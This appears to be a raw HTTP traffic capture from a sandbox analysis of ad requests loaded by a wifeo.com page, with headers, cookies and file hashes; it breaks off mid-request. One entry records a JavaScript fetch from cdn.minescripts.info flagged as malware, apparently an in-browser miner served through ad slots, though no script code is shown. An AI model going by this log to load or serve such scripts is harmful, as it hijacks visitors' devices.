GET /pixel?google_nid=appnexus&google_cm&google_sc&google_dbm HTTP/1.1 Host: cm.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh Cookie: IDE=AHWqTUk7nlTwsCZJsywhq8F0q-VgiwOsjyuPuOg16EODOLz1w_iPn625OCBie-zK	216.58.209.130 HTTP/1.1 302 Found Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ib.adnxs.com/setuid?entity=101&code=CAESELLkQuC2aJgjs93znAnFf2A&google_cver=1 Date: Tue, 13 Feb 2018 14:02:42 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Server: HTTP server (unknown) Content-Length: 290 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: HTML document text Size: 290 Md5: 78f117d56eb092eec05f3bd8aa9ca973 Sha1: 6dbf03572fb90e63e42ce832c31da8763f8fbeed Sha256: 7960f267fcb48949682d670f1e47643169c5af59e8929ea1d35f2cf36e5c3c34
GET /pagead/js/r20180207/r20110914/activeview/osd_listener.js HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Wed, 07 Feb 2018 15:02:16 GMT Expires: Wed, 21 Feb 2018 15:02:16 GMT Etag: 4319863517479632446 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 29527 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 514826 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 29527 Md5: cb7c5d42c8b00cdec8b3bfb65909c20b Sha1: df39b61e2fd957f8b9ade02e65c59ec51cec5c46 Sha256: 03d445b71e38084066abf9967c78418aaac7f1617d7251bd648485f07c6379e0
GET /c/NDj2.js HTTP/1.1 Host: cdn.minescripts.info User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	104.18.46.158 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:42 GMT Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=df4e123e90d9dae87fdbb975ba44d7fe31518530562; expires=Wed, 13-Feb-19 14:02:42 GMT; path=/; domain=.minescripts.info; HttpOnly Last-Modified: Tue, 13 Feb 2018 08:47:22 GMT Etag: W/"5a82a61a-26a1a" Expires: Tue, 13 Feb 2018 18:02:42 GMT Cache-Control: public, max-age=14400 Access-Control-Allow-Origin: * Content-Encoding: gzip CF-Cache-Status: HIT Vary: Accept-Encoding Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 3ec853b0ca2742b5-OSL --- Additional Info --- Magic: gzip compressed data, from Unix Size: 39531 Md5: 1c9c37ee94ec3e1c6d5f4714d1360779 Sha1: a1570f3c3ee93136527182865f70fd8c9fbca2a4 Sha256: 410d40e0587fd552a61e4870c7cfc56382e5b76b0ce9ef5b9afdb5e157246c11 Alerts: Blacklists: - fortinet: Malware
GET /adfserve/?CC=1&bn=21309103;rtbwp=WoLwAAAOdzQKGI-NAAEa1YL_sjAZppZh5XiTXg;rtbdata=x-QconeWRJpxwDvr0OWHi-yyTRtv5y2pxjmhnbc_HYf1A5T3MwZy57QfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hBoF1ovLTSa1sUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=CqVVLAPCCWrTuOY2fYtW1hBDFx5-9Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7-6kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ&num=1&sig=AOD64_2N-eZttHoTa1h3c12AmgkpxQPwLg&client=ca-pub-5439285203515723&adurl=;js=1;adfxid=2x;2991;set=en-US\|en-US\|1176X885\|10.0452\|450\|50\|24\|8\|3\|7\|1;fd=0\|0&CREFURL=https%3a%2f%2fgoogleads.g.doubleclick.net%2fpagead%2fads%3fclient%3dca-pub-5439285203515723%26output%3dhtml%26h%3d60%26slotname%3d5224417502%26adk%3d2845482056%26adf%3d807048394%26w%3d585%26fwrn%3d4%26lmt%3d1518530546%26loeid%3d38893312%26rafmt%3d1%26format%3d585x60%26url%3dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3d0%26flash%3d10.0.45%26fwr%3d0%26resp_fmts%3d3%26wgl%3d0%26dt%3d151853 HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: C=1	37.157.6.253 HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Server: nginx Date: Tue, 13 Feb 2018 14:02:42 GMT Content-Length: 2804 Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Access-Control-Allow-Origin: * Set-Cookie: cid=4884062866989652075,0,0,0,0; expires=Sat, 14-Apr-2018 13:02:42 GMT; path=/ uid=4884062866989652075; domain=adform.net; expires=Sat, 14-Apr-2018 13:02:42 GMT; path=/ P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), max speed Size: 2804 Md5: 8eb5236ef924d3a2d8bfd0ae9774edbe Sha1: 48efe0175e3496065c46f93ed32be89753cbaa72 Sha256: 97f9b4d3cf9e36eed45eb4f3eb61f946b05cd885c666489c41dfeec145b46384
GET /adfserve/?CC=1&bn=21309103;rtbwp=WoLwAAAOeHcKGJfVAApDtvcIILCSCAXLybOkMg;rtbdata=x-QconeWRJpxwDvr0OWHi78hmukHVFK8RQCTAR5cr1QHlafa_rFEhbQfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hC9-bNoFRpauMUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=Ci7J6APCCWvfwOdWvYraHqfAPxcefvU2-0LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9-mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE&num=1&sig=AOD64_19LQnk-EME2ib3WSVpuf5HvnMqxg&client=ca-pub-5439285203515723&adurl=;js=1;adfxid=1x;3781;set=en-US\|en-US\|1176X885\|10.0452\|450\|50\|24\|8\|3\|7\|1;fd=0\|0&CREFURL=https%3a%2f%2fgoogleads.g.doubleclick.net%2fpagead%2fads%3fclient%3dca-pub-5439285203515723%26output%3dhtml%26h%3d60%26slotname%3d5224417502%26adk%3d2845482056%26adf%3d807048394%26w%3d585%26fwrn%3d4%26lmt%3d1518530546%26loeid%3d38893312%26rafmt%3d1%26format%3d585x60%26url%3dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3d0%26flash%3d10.0.45%26fwr%3d0%26resp_fmts%3d3%26wgl%3d0%26dt%3d151853 HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: C=1	37.157.6.253 HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Server: nginx Date: Tue, 13 Feb 2018 14:02:42 GMT Content-Length: 2804 Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Access-Control-Allow-Origin: * Set-Cookie: cid=5540862615520228074,0,0,0,0; expires=Sat, 14-Apr-2018 13:02:42 GMT; path=/ uid=5540862615520228074; domain=adform.net; expires=Sat, 14-Apr-2018 13:02:42 GMT; path=/ P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), max speed Size: 2804 Md5: bcd8e89d4e975bd9c0d0acd5f45fa230 Sha1: e3cb2e4697c159612fc22d94f1fc0a7b37c3f77c Sha256: d09bc40e582380305190665afea5acf4778fb174e941eb9ec958e63e1fce84e3
GET /activeview?avi=Bp8K1APCCWoX0Oc6yYsi5nUgA0OzA2ckGAAAQATgByAEJyAMC4AQDoAZM0ggFCIBhEAE&cid=CAASBORoCbo&id=osdim&ti=1&r=pv&uc=0&tgt=nf&cl=0&v=r20180207 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:42 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /setuid?entity=101&code=CAESENlU4l1fd9jWe5KXCBrJAFk&google_cver=1 HTTP/1.1 Host: ib.adnxs.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv	37.252.172.42 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx/1.13.4 Date: Tue, 13 Feb 2018 14:02:45 GMT Content-Length: 43 Connection: keep-alive Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 AN-X-Request-Uuid: 8e6208a8-d455-46e1-aa6c-d24bc605421e Set-Cookie: anj=dTM7k!M41.DunaTF']wIg2HaQD2>7N!@wnf]maBDeKuh7<xR))l!Qa3jPw@#/kdWoeE2w.jcU`ykw@)=i7NVvtl2@j@]Ex]*PRPP(dH])q#JQ; Path=/; Max-Age=7776000; Expires=Mon, 14-May-2018 14:02:45 GMT; Domain=.adnxs.com; HttpOnly sess=1; Path=/; Max-Age=86400; Expires=Wed, 14-Feb-2018 14:02:45 GMT; Domain=.adnxs.com; HttpOnly X-Proxy-Origin: 77.40.129.123; 77.40.129.123; 247.bm-nginx-loadbalancer.mgmt.fra1; .adnxs.com; 37.252.172.123:80 --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 43 Md5: 592ebefc7104d681d57852665e9ad514 Sha1: 15cdf8df32aa251dd6dd590a60bf9cf74474e7c5 Sha256: 4b5b6b15c6255109e06720cce42a06d3aead8b7874423d9c52cb0303212c25ef
GET /xbbe/match?xid=axhjb8NnQko2uD7NmcXs7qDp HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv Cookie: IDE=AHWqTUk7nlTwsCZJsywhq8F0q-VgiwOsjyuPuOg16EODOLz1w_iPn625OCBie-zK	172.217.22.162 HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /pagead/js/r20180207/r20110914/client/ext/m_window_focus_non_hydra.js HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Mon, 12 Feb 2018 18:19:18 GMT Expires: Mon, 26 Feb 2018 18:19:18 GMT Etag: 2112876643077467119 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 1203 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 71005 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 1203 Md5: 9a504624fadda2dcec8340bf93b2252c Sha1: fa6dbebcf9b5450a1dd2f2371c971e838ff627c0 Sha256: 1451d6f091d36a586c2d20cc652337663e11fe4045ec6867de1e21d5d8868c93
GET /sodar/V6zvOIoD.js HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/javascript Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 15146 Date: Mon, 12 Feb 2018 14:04:56 GMT Expires: Tue, 12 Feb 2019 14:04:56 GMT Last-Modified: Tue, 02 Jan 2018 21:45:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31536000 Age: 86267 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 15146 Md5: 6a56e1d1c9c0c105245cbce244c876f3 Sha1: 6613490ab3735f37499d311c6efba3f689ec4abb Sha256: ad20ef401ac229a0ab07b057ed9350c85816118a662c7cfa240fa5cd86c718f0
GET /stoat/607/s1.adform.net/load/v/0.0.146/e/0gCDgAA/i/8IG-iAAAAEAA/r:AdConstructor:contents/ImageTag:types/Standard HTTP/1.1 Host: s1.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: 